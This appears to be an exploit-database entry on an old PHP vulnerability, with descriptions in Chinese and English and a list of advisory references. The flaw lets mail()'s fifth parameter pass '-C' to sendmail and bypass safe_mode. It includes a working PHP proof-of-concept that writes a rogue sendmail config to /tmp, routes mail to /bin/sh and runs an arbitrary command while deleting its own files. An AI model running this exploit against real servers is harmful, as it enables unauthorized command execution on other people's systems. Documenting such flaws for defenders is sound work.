https://www.exploit-db.com/exploits/20985
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-211

PHP是一种流行的WEB服务器端编程语言，它功能强大，简单易用，在很多Unix操作系统默认都安装了PHP，它也可以在Windows系统下运行。PHP函数mail的第五个参数存在漏洞，远程攻击者可能利用此漏洞结构CGI脚本中的漏洞绕过PHP的safe_mode的限制执行系统命令。从PHP-4.0.5开始，mail函数引入了第五个参数。去年被发现该参数没有很好过滤shell字符使得可以绕过safe_mode的限制执行系统命令。(http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=1593)该漏洞在PHP-4.0.6被修复。然而，PHP的mail函数仍然存在漏洞。mail函数的第五个参数可以在发送mail的时候给MTA(php.ini的sendmail_path设定，默认都是sendmail)传递额外的选项参数，sendmail的-Cfile选项能够改变配置文件，利用sendmail的特性，我们可以在配置文件里指定执行命令，从而使得PHP的mail函数绕过safe_mode的限制来执行任意系统命令。

source: http://www.securityfocus.com/bid/2954/info

PHP is the Personal HomePage development toolkit, distributed by the PHP.net, and maintained by the PHP Development Team in public domain.

A problem with the toolkit could allow elevated privileges, and potentially unauthorized access to restricted resources. A local user may upload a malicious php script, and execute it with a custom query string.

This makes it possible for a local user to execute commands as the HTTP process UID, and potentially gain access with the same privileges of the HTTP UID.

It has been reported that the proposed fix does not entirely fix the problem, as it's possible to pass command line parameters to sendmail when safe_mode is enabled. This may be done through the 5th argument permitted by safe_mode. 

<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

来源:XF
名称:php-safemode-elevate-privileges(6787)
链接:http://www.iss.net/security_center/static/6787.php
来源:www.php.net
链接:http://www.php.net/do_download.php?download_file=php-4.1.2.tar.gz
来源:BID
名称:2954
链接:http://www.securityfocus.com/bid/2954
来源:REDHAT
名称:RHSA-2003:159
链接:http://www.redhat.com/support/errata/RHSA-2003-159.html
来源:REDHAT
名称:RHSA-2002:129
链接:http://www.redhat.com/support/errata/RHSA-2002-129.html
来源:REDHAT
名称:RHSA-2002:102
链接:http://www.redhat.com/support/errata/RHSA-2002-102.html
来源:BUGTRAQ
名称:20010630phpbreakssafemode
链接:http://online.securityfocus.com/archive/1/194425